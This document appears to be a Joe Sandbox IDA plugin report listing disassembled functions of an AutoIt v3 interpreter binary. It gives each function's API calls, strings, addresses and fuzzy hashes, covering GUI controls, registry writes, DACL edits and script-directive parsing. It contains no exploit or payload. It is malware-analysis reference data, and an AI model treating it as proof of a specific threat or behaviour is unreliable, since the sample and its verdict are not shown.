API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
String ID:
API String ID: 1996641542-0
Opcode ID: 0759f0e1e56a07a395612775b292cdb9e0cef604825716bd394626c2cecc16f4
Instruction ID: 62e3db3f262e05be8ce7099d78c93b833e102eb22dbb1eaf33d47ba8ebf349f7
Opcode Fuzzy Hash: 0759f0e1e56a07a395612775b292cdb9e0cef604825716bd394626c2cecc16f4
Instruction Fuzzy Hash: 41616F72D0421CAFDB019FA4DD49EEEBF79EF08320F144115FA15AB2A1D7B49940EB90

Function 00FF0FF3 Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 284windowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00FF1128
GetDesktopWindow.USER32 ref: 00FF113D
GetWindowRect.USER32(00000000), ref: 00FF1144
GetWindowLongW.USER32(?,000000F0), ref: 00FF1199
DestroyWindow.USER32(?), ref: 00FF11B9
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,7FFFFFFD,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 00FF11ED
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00FF120B
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 00FF121D
SendMessageW.USER32(00000000,00000421,?,?), ref: 00FF1232
SendMessageW.USER32(00000000,0000041D,00000000,00000000), ref: 00FF1245
IsWindowVisible.USER32(00000000), ref: 00FF12A1
SendMessageW.USER32(00000000,00000412,00000000,D8F0D8F0), ref: 00FF12BC
SendMessageW.USER32(00000000,00000411,00000001,00000030), ref: 00FF12D0
GetWindowRect.USER32(00000000,?), ref: 00FF12E8
MonitorFromPoint.USER32(?,?,00000002), ref: 00FF130E
GetMonitorInfoW.USER32(00000000,?), ref: 00FF1328
CopyRect.USER32(?,?), ref: 00FF133F
SendMessageW.USER32(00000000,00000412,00000000), ref: 00FF13AA

Strings

(, xrefs: 00FF131B
0, xrefs: 00FF10D3
tooltips_class32, xrefs: 00FF11E6

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
String ID: ($0$tooltips_class32
API String ID: 698492251-4156429822
Opcode ID: c06bf1955013da96cd911993a9a3d99157e6b160fe3301934c7b18ccd407d5e9
Instruction ID: 519b1562612e790e6330910fe31b8f67cd496a9212f4ac7ff5200838cda0182f
Opcode Fuzzy Hash: c06bf1955013da96cd911993a9a3d99157e6b160fe3301934c7b18ccd407d5e9
Instruction Fuzzy Hash: 0FB18B71608355EFD700DF64C984BAABBE8FF84750F008918FA999B261DB71EC44EB91

Function 00FF0241 Relevance: 35.4, APIs: 7, Strings: 13, Instructions: 391windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00FF02E5
_wcslen.LIBCMT ref: 00FF031F
_wcslen.LIBCMT ref: 00FF0389
_wcslen.LIBCMT ref: 00FF03F1
_wcslen.LIBCMT ref: 00FF0475
SendMessageW.USER32(?,00001032,00000000,00000000), ref: 00FF04C5
SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00FF0504

Part of subcall function 00F7F9F2: _wcslen.LIBCMT ref: 00F7F9FD

Part of subcall function 00FC223F: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00FC2258
Part of subcall function 00FC223F: SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00FC228A

Strings

VIEWCHANGE, xrefs: 00FF0675
GETSUBITEMCOUNT, xrefs: 00FF0384, 00FF039F
DESELECT, xrefs: 00FF059C
GETSELECTEDCOUNT, xrefs: 00FF0470, 00FF048B
FINDITEM, xrefs: 00FF0627
ISSELECTED, xrefs: 00FF04DD
SELECTALL, xrefs: 00FF0515
GETTEXT, xrefs: 00FF03EC, 00FF0407
SELECTCLEAR, xrefs: 00FF052D
GETSELECTED, xrefs: 00FF05E1
GETITEMCOUNT, xrefs: 00FF0316, 00FF0337
SELECT, xrefs: 00FF0548
SELECTINVERT, xrefs: 00FF057E

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: _wcslen$MessageSend$BuffCharUpper
String ID: DESELECT$FINDITEM$GETITEMCOUNT$GETSELECTED$GETSELECTEDCOUNT$GETSUBITEMCOUNT$GETTEXT$ISSELECTED$SELECT$SELECTALL$SELECTCLEAR$SELECTINVERT$VIEWCHANGE
API String ID: 1103490817-719923060
Opcode ID: 5b9b67922a0bd0a4909482edc4bd49f3b379c3459eb69414341ad6693607fc24
Instruction ID: b0be9e4c7b3037f61946f35cbc32e749f43a3c26b68977b36516df2989bb37b4
Opcode Fuzzy Hash: 5b9b67922a0bd0a4909482edc4bd49f3b379c3459eb69414341ad6693607fc24
Instruction Fuzzy Hash: 46E1E0316083098FC714DF24C95097AB3E6BF98324B14495DF9969B3B2DB34ED45EB82

Function 00F78891 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 282windowtimeCOMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 00F78968
GetSystemMetrics.USER32(00000007), ref: 00F78970
SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 00F7899B
GetSystemMetrics.USER32(00000008), ref: 00F789A3
GetSystemMetrics.USER32(00000004), ref: 00F789C8
SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 00F789E5
AdjustWindowRectEx.USER32(000000FF,?,00000000,?), ref: 00F789F5
CreateWindowExW.USER32(?,AutoIt v3 GUI,?,?,?,000000FF,000000FF,000000FF,?,00000000,00000000), ref: 00F78A28
SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 00F78A3C
GetClientRect.USER32(00000000,000000FF), ref: 00F78A5A
GetStockObject.GDI32(00000011), ref: 00F78A76
SendMessageW.USER32(00000000,00000030,00000000), ref: 00F78A81

Part of subcall function 00F7912D: GetCursorPos.USER32(?), ref: 00F79141
Part of subcall function 00F7912D: ScreenToClient.USER32(00000000,?), ref: 00F7915E
Part of subcall function 00F7912D: GetAsyncKeyState.USER32(00000001), ref: 00F79183
Part of subcall function 00F7912D: GetAsyncKeyState.USER32(00000002), ref: 00F7919D

SetTimer.USER32(00000000,00000000,00000028,00F790FC), ref: 00F78AA8

Strings

AutoIt v3 GUI, xrefs: 00F78A20

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
String ID: AutoIt v3 GUI
API String ID: 1458621304-248962490
Opcode ID: 4d7aa19e4b2f9759f8d5174e686f9afe93e4366033a9e3b0765da18688a9a942
Instruction ID: 170f19a343250bf455a2b5becfc2eaad3dc9afeaeb09230eb5d47e2b4a076116
Opcode Fuzzy Hash: 4d7aa19e4b2f9759f8d5174e686f9afe93e4366033a9e3b0765da18688a9a942
Instruction Fuzzy Hash: A7B16E71A00209AFDB14DF68C949BEA3BB9FB48314F14412AFA19E7290DB78D841DF51

Function 00FC0D8B Relevance: 31.7, APIs: 21, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00FC10F9: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00FC1114
Part of subcall function 00FC10F9: GetLastError.KERNEL32(?,00000000,00000000,?,?,00FC0B9B,?,?,?), ref: 00FC1120
Part of subcall function 00FC10F9: GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,00FC0B9B,?,?,?), ref: 00FC112F
Part of subcall function 00FC10F9: HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,00FC0B9B,?,?,?), ref: 00FC1136
Part of subcall function 00FC10F9: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00FC114D

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00FC0DF5
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00FC0E29
GetLengthSid.ADVAPI32(?), ref: 00FC0E40
GetAce.ADVAPI32(?,00000000,?), ref: 00FC0E7A
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00FC0E96
GetLengthSid.ADVAPI32(?), ref: 00FC0EAD
GetProcessHeap.KERNEL32(00000008,00000008), ref: 00FC0EB5
HeapAlloc.KERNEL32(00000000), ref: 00FC0EBC
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00FC0EDD
CopySid.ADVAPI32(00000000), ref: 00FC0EE4
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00FC0F13
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00FC0F35
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00FC0F47
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00FC0F6E
HeapFree.KERNEL32(00000000), ref: 00FC0F75
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00FC0F7E
HeapFree.KERNEL32(00000000), ref: 00FC0F85
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00FC0F8E
HeapFree.KERNEL32(00000000), ref: 00FC0F95
GetProcessHeap.KERNEL32(00000000,?), ref: 00FC0FA1
HeapFree.KERNEL32(00000000), ref: 00FC0FA8

Part of subcall function 00FC1193: GetProcessHeap.KERNEL32(00000008,00FC0BB1,?,00000000,?,00FC0BB1,?), ref: 00FC11A1
Part of subcall function 00FC1193: HeapAlloc.KERNEL32(00000000,?,00000000,?,00FC0BB1,?), ref: 00FC11A8
Part of subcall function 00FC1193: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00000000,?,00FC0BB1,?), ref: 00FC11B7

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Heap$Process$Security$Free$AllocDescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast
String ID:
API String ID: 4175595110-0
Opcode ID: bcba0098d6bdc4d95fa54bb53383102e8dd3c3bf2c46347e11b5b1dd0a20f3b5
Instruction ID: cd81884acc70289ef66de5d4a97e6ae6807779b74daa652276ccafeda3e196ce
Opcode Fuzzy Hash: bcba0098d6bdc4d95fa54bb53383102e8dd3c3bf2c46347e11b5b1dd0a20f3b5
Instruction Fuzzy Hash: EE716B72D0021AEBDF209FA5DE45FAEBBBCFF05310F044119E919E6191DB309A56DBA0

Function 00FEC3B7 Relevance: 30.2, APIs: 11, Strings: 6, Instructions: 495registryCOMMON

Download Yara Rule

APIs

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00FEC4BD
RegCreateKeyExW.ADVAPI32(?,?,00000000,00FFCC08,00000000,?,00000000,?,?), ref: 00FEC544
RegCloseKey.ADVAPI32(00000000,00000000,00000000), ref: 00FEC5A4
_wcslen.LIBCMT ref: 00FEC5F4
_wcslen.LIBCMT ref: 00FEC66F
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000001,?,?), ref: 00FEC6B2
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000007,?,?), ref: 00FEC7C1
RegSetValueExW.ADVAPI32(00000001,?,00000000,0000000B,?,00000008), ref: 00FEC84D
RegCloseKey.ADVAPI32(?), ref: 00FEC881
RegCloseKey.ADVAPI32(00000000), ref: 00FEC88E
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000003,00000000,00000000), ref: 00FEC960

Strings

REG_SZ, xrefs: 00FEC644
REG_EXPAND_SZ, xrefs: 00FEC5CD
REG_DWORD, xrefs: 00FEC804
REG_MULTI_SZ, xrefs: 00FEC6F5
REG_QWORD, xrefs: 00FEC8C3
REG_BINARY, xrefs: 00FEC913

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Value$Close$_wcslen$ConnectCreateRegistry
String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
API String ID: 9721498-966354055
Opcode ID: 27e7483def43c7e6de150adbf8a1ab9fe01c5bd4698f8f62be8ffb8143b470e4
Instruction ID: 9c543f0c2c65d47d3fd5607623cac21ca1058ab9556c7299125505a7d2a515bb
Opcode Fuzzy Hash: 27e7483def43c7e6de150adbf8a1ab9fe01c5bd4698f8f62be8ffb8143b470e4
Instruction Fuzzy Hash: BE127E356042419FD714DF15C881A2AB7E5FF88724F14889DF88A9B3A2DB35FD41EB81

Function 00FF091E Relevance: 30.1, APIs: 6, Strings: 11, Instructions: 372windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00FF09C6
_wcslen.LIBCMT ref: 00FF0A01
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00FF0A54
_wcslen.LIBCMT ref: 00FF0A8A
_wcslen.LIBCMT ref: 00FF0B06
_wcslen.LIBCMT ref: 00FF0B81

Part of subcall function 00F7F9F2: _wcslen.LIBCMT ref: 00F7F9FD

Part of subcall function 00FC2BE8: SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00FC2BFA

Strings

GETTOTALCOUNT, xrefs: 00FF09F2, 00FF0A17
EXPAND, xrefs: 00FF0BF8
CHECK, xrefs: 00FF0A85, 00FF0AA0
UNCHECK, xrefs: 00FF0D3E
GETTEXT, xrefs: 00FF0C97
GETITEMCOUNT, xrefs: 00FF0C1E
GETSELECTED, xrefs: 00FF0C4E
EXISTS, xrefs: 00FF0B7C, 00FF0B97
SELECT, xrefs: 00FF0D11
COLLAPSE, xrefs: 00FF0B01, 00FF0B1C
ISCHECKED, xrefs: 00FF0CE1

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: _wcslen$MessageSend$BuffCharUpper
String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
API String ID: 1103490817-4258414348
Opcode ID: 2e0c43342174bf0dc6a42a673bbf2734e350a0461624b178225aca72458ac74a
Instruction ID: 8b0d22376ac93d231d9c50d7bc4731bc7e24df2c5bc98bd0a556ab50571040e2
Opcode Fuzzy Hash: 2e0c43342174bf0dc6a42a673bbf2734e350a0461624b178225aca72458ac74a
Instruction Fuzzy Hash: CEE1AE326083158FC714EF24C85093AB7E1FF98324B14899DF99A9B362DB35ED45EB81

Function 00FEC998 Relevance: 30.0, APIs: 7, Strings: 10, Instructions: 242COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,?,?,?,?,00FEB6AE,?,?), ref: 00FEC9B5
_wcslen.LIBCMT ref: 00FEC9F1
_wcslen.LIBCMT ref: 00FECA68
_wcslen.LIBCMT ref: 00FECA9E
_wcslen.LIBCMT ref: 00FECAF9
_wcslen.LIBCMT ref: 00FECB2F
_wcslen.LIBCMT ref: 00FECB7F

Strings

HKCU, xrefs: 00FECBCE
HKEY_LOCAL_MACHINE, xrefs: 00FECA62, 00FECA67
HKEY_CLASSES_ROOT, xrefs: 00FECAF3, 00FECAF8
HKEY_CURRENT_USER, xrefs: 00FECBBD
HKCC, xrefs: 00FECBAC
HKEY_CURRENT_CONFIG, xrefs: 00FECB79, 00FECB7E
HKU, xrefs: 00FECBF0
HKLM, xrefs: 00FECA98, 00FECA9D
HKEY_USERS, xrefs: 00FECBDF
HKCR, xrefs: 00FECB29, 00FECB2E

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: _wcslen$BuffCharUpper
String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
API String ID: 1256254125-909552448
Opcode ID: 455faad42becf0eb80ecadceaa6fac0c8612684d49c501d744536eb54bb25a18
Instruction ID: 506805815de5d12010b79106124f2a1be7c4742c8493422f1cfaff4a94d3e1b8
Opcode Fuzzy Hash: 455faad42becf0eb80ecadceaa6fac0c8612684d49c501d744536eb54bb25a18
Instruction Fuzzy Hash: FE710933A001EA8BCB20DE7ECD515BE33A5AFA0B74B210125F86597284E639CD46F3D0

Function 00FF833C Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 196windowlibraryCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00FF835A
_wcslen.LIBCMT ref: 00FF836E
_wcslen.LIBCMT ref: 00FF8391
_wcslen.LIBCMT ref: 00FF83B4
LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 00FF83F2
LoadLibraryExW.KERNEL32(?,00000000,00000032,00000000,?,?,?,?,?,00FF5BF2), ref: 00FF844E
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00FF8487
LoadImageW.USER32(00000000,?,00000001,?,?,00000000), ref: 00FF84CA
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00FF8501
FreeLibrary.KERNEL32(?), ref: 00FF850D
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 00FF851D
DestroyIcon.USER32(?,?,?,?,?,00FF5BF2), ref: 00FF852C
SendMessageW.USER32(?,00000170,00000000,00000000), ref: 00FF8549
SendMessageW.USER32(?,00000064,00000172,00000001), ref: 00FF8555

Strings

.dll, xrefs: 00FF83AB
.exe, xrefs: 00FF8388
.icl, xrefs: 00FF8368

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Load$Image_wcslen$IconLibraryMessageSend$DestroyExtractFree
String ID: .dll$.exe$.icl
API String ID: 799131459-1154884017
Opcode ID: 4226456e47d25d223a9b66827ae3f60c89053b151d246afd8313353240048b23
Instruction ID: 37e54670b33c16b5ac56085a292f4ac08f8c6e65b6d0063abafaa487de47b809
Opcode Fuzzy Hash: 4226456e47d25d223a9b66827ae3f60c89053b151d246afd8313353240048b23
Instruction Fuzzy Hash: C761D07290021EBAEB14DF64CC81BFE77ACBF08760F14450AF915DA1E1DB74A981E7A0

Function 00F67778 Relevance: 28.3, APIs: 1, Strings: 15, Instructions: 273COMMON

Download Yara Rule

Strings

#comments-start, xrefs: 00F6785F, 00F678B1
#ce, xrefs: 00F678ED
Unterminated group of comments, xrefs: 00FA528C
#include, xrefs: 00F67847
#pragma compile, xrefs: 00F677D3
Bad directive syntax error, xrefs: 00FA519A
', xrefs: 00FA5169
#include-once, xrefs: 00F6782F
", xrefs: 00FA5153
#requireadmin, xrefs: 00F677FF
Cannot parse #include, xrefs: 00FA5279
#notrayicon, xrefs: 00F677E7
#comments-end, xrefs: 00F678D9
#cs, xrefs: 00F67873, 00F678C5
#OnAutoItStartRegister, xrefs: 00F67817

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID:
String ID: "$#OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#pragma compile$#requireadmin$'$Bad directive syntax error$Cannot parse #include$Unterminated group of comments
API String ID: 0-1645009161
Opcode ID: 7c00aa631e7c562e6da5427c7fe912755aa4ba04e3694215ab98c77e27aa2311
Instruction ID: e1488dbdc35eafb36b6a1d9040e0d99f91a1a9f7629cd21955feeb77905303f0
Opcode Fuzzy Hash: 7c00aa631e7c562e6da5427c7fe912755aa4ba04e3694215ab98c77e27aa2311
Instruction Fuzzy Hash: 3781F3B1A04309BBDB20BF60CC42FBE37A8AF15754F144025F905AB196EB78DA05F7A1

Function 00FC5A1B Relevance: 27.2, APIs: 18, Instructions: 198windowtimeCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000063), ref: 00FC5A2E
SendMessageW.USER32(?,00000080,00000000,00000000), ref: 00FC5A40
SetWindowTextW.USER32(?,?), ref: 00FC5A57
GetDlgItem.USER32(?,000003EA), ref: 00FC5A6C
SetWindowTextW.USER32(00000000,?), ref: 00FC5A72
GetDlgItem.USER32(?,000003E9), ref: 00FC5A82
SetWindowTextW.USER32(00000000,?), ref: 00FC5A88
SendDlgItemMessageW.USER32(?,000003E9,000000CC,?,00000000), ref: 00FC5AA9
SendDlgItemMessageW.USER32(?,000003E9,000000C5,00000000,00000000), ref: 00FC5AC3
GetWindowRect.USER32(?,?), ref: 00FC5ACC
_wcslen.LIBCMT ref: 00FC5B33
SetWindowTextW.USER32(?,?), ref: 00FC5B6F
GetDesktopWindow.USER32 ref: 00FC5B75
GetWindowRect.USER32(00000000), ref: 00FC5B7C
MoveWindow.USER32(?,?,00000080,00000000,?,00000000), ref: 00FC5BD3
GetClientRect.USER32(?,?), ref: 00FC5BE0
PostMessageW.USER32(?,00000005,00000000,?), ref: 00FC5C05
SetTimer.USER32(?,0000040A,00000000,00000000), ref: 00FC5C2F

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer_wcslen
String ID:
API String ID: 895679908-0
Opcode ID: d4fe957ed6281c4ac18d38c7f482f8aa363177f6e6c782e7ba7a069c83bf867f
Instruction ID: 8ca1f585985859dd002fe35e636f415619e36aba750e9bb5775537ba4b77ffaf
Opcode Fuzzy Hash: d4fe957ed6281c4ac18d38c7f482f8aa363177f6e6c782e7ba7a069c83bf867f
Instruction Fuzzy Hash: 86714A31900A0AAFDB20DFA9CE86FAEBBF5EF48B14F10451CE146A25A0D775B944DB50

Function 00F800C6 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 81COMMON

Download Yara Rule

APIs

__scrt_initialize_thread_safe_statics_platform_specific.LIBCMT ref: 00F800C6

Part of subcall function 00F800ED: InitializeCriticalSectionAndSpinCount.KERNEL32(0103070C,00000FA0,976FD3C0,?,?,?,?,00FA23B3,000000FF), ref: 00F8011C
Part of subcall function 00F800ED: GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,?,?,?,00FA23B3,000000FF), ref: 00F80127
Part of subcall function 00F800ED: GetModuleHandleW.KERNEL32(kernel32.dll,?,?,?,?,00FA23B3,000000FF), ref: 00F80138
Part of subcall function 00F800ED: GetProcAddress.KERNEL32(00000000,InitializeConditionVariable), ref: 00F8014E
Part of subcall function 00F800ED: GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 00F8015C
Part of subcall function 00F800ED: GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 00F8016A
Part of subcall function 00F800ED: __crt_fast_encode_pointer.LIBVCRUNTIME ref: 00F80195
Part of subcall function 00F800ED: __crt_fast_encode_pointer.LIBVCRUNTIME ref: 00F801A0

___scrt_fastfail.LIBCMT ref: 00F800E7

Part of subcall function 00F800A3: __onexit.LIBCMT ref: 00F800A9

Strings

InitializeConditionVariable, xrefs: 00F80148
WakeAllConditionVariable, xrefs: 00F80162
SleepConditionVariableCS, xrefs: 00F80154
kernel32.dll, xrefs: 00F80133
api-ms-win-core-synch-l1-2-0.dll, xrefs: 00F80122

Memory Dump Source

